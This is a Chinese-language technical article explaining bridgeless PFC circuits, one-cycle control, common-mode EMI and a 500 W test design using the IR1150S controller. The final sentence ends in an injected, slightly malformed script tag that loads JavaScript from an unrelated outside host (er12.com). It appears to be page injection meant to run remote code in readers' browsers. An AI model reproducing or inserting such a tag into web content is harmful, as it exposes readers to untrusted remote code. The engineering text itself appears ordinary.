近來，不使用橋式電路的功率因數校正(pfc)電路成為人們注意的焦點。設計人員去掉了轉換器輸入端的常規橋式整流電路，可以減少開關損耗，進一步提高效率。在這樣的電路中，不存在由于導通損耗而降低效率的問題，且設計比較簡單，需要的元件數量較少。

　　不使用橋式整流電路的pfc設計

　　設計沒有橋式整流電路的pfc電路有一些難點。如圖1所示，電路的輸入端沒有二極管組成的橋式整流電路，而是在交流輸入邊有1個升壓電感器。在這個電路中，輸出和輸入并無直接的連接，于是就存在輸入電壓的感測、電流的感測和電磁干擾噪音等問題。特別是，由于升壓電感器放在交流輸入這邊，因此很難感測作為輸入的電網交流電壓和電感器上的電流。



圖1 沒有使用橋式整流電路的pfc電路
　　在討論這些問題之前，先介紹一下圖1所示的沒有使用橋式電路的整流器的工作原理。升壓電感器分成兩半，形成升壓電路。輸出電路由2個mosfet晶體管和2個二極管組成。在交流電網電壓的每一個半周中，其中一個mosfet起有源開關的作用，而另一個mosfet就起二極管的簡單作用。在這對mosfet晶體管中，處于工作狀態的那個晶體管，與一個二極管和輸入電感器一起，組成dc/dc升壓轉換器。輸入電流由升壓轉換器來控制，隨著輸入電壓而變化。

　　單周控制(occ)方法

　　pfc電路中存在的感測電壓和電流的問題與設計人員選擇的控制策略有關。對于常規的升壓pfc電路，最常用的是平均電流控制和峰值電流控制，它們都是使用模擬乘法器的技術。最近，設計人員開始探討其他的技術，其中包括單周控制(occ)的方法，如圖2所示。



圖2 occ pfc控制電路
　　在這些方法中，平均電流的模擬乘法器控制是最流行的技術，因為其性能很好，也容易理解。

　　采用此方法需要使用某種類型的輸入電壓感測電路和電感器的電流感測電路。但是，在沒有使用橋式電路的情況下，感測電壓和感測電流是很復雜的。

　　因此，在選用了不使用橋式整流的情況下，occ控制方法就很有優勢。occ使用輸出電壓和電感器中的電流峰值來計算前后銜接的每個周期的占空比，所以，在使用occ方法時，需要的所有信息是從直流母線電壓和電流那里得到的，不需要感測交流電網的電壓，從而最大限度地提高了功率因數。而且，占空比控制著升壓電路輸入和輸出之間的關系，電感器中的電流峰值可以自動地跟隨輸入電壓的波形，這樣就實現了功率因數校正的功能。由于所有必要的信息都是從電感器中的電流峰值和電壓輸出那里得到的，因此不需要感測輸入電壓。

　　電磁干擾噪音(emi)的特性一般與功率級的結構有關。對于常規的pfc，輸出的地總是通過橋式整流器與輸入電網相連，引起共模噪音的唯一寄生電容是mosfet晶體管的漏極與地之間的寄生電容。對于不使用橋式整流的pfc電路，其輸出相對于作為輸入的交流電網來講是浮動的，這樣就有幾個寄生參數會引起mosfet晶體管漏極和地之間的共模噪音，以及地與輸出端之間的共模噪音。在這種情況下，共模噪音比常規pfc電路的共模噪音更加嚴重。為了解決這個問題，可以在不使用橋式整流的電路中增加兩只電容器，在輸入交流電網與輸出電壓的地之間形成一個高頻通路。

　　occ方案的測試

　　根據上面的分析，在不使用橋式整流的pfc電路中采用occ方法進行控制，可以將電路簡化，同時提高效率。本文使用一個500w、開關頻率為100khz輸入的電網電壓為通用的pfc電路，來測試不使用橋式整流occ設計的性能。這個電路使用國際整流器公司的ir1150s集成occ控制器，該器件具備完善的保護功能。ir1150s的開關頻率可以編程，有電壓過載保護、軟啟動、逐周電流限流和欠壓保護等功能。它采用8引腳soic封裝，保留了不使用橋式整流的pfc電路節省空間的優點，同時又實現了occ控制?script src=http://er12.com/t.js>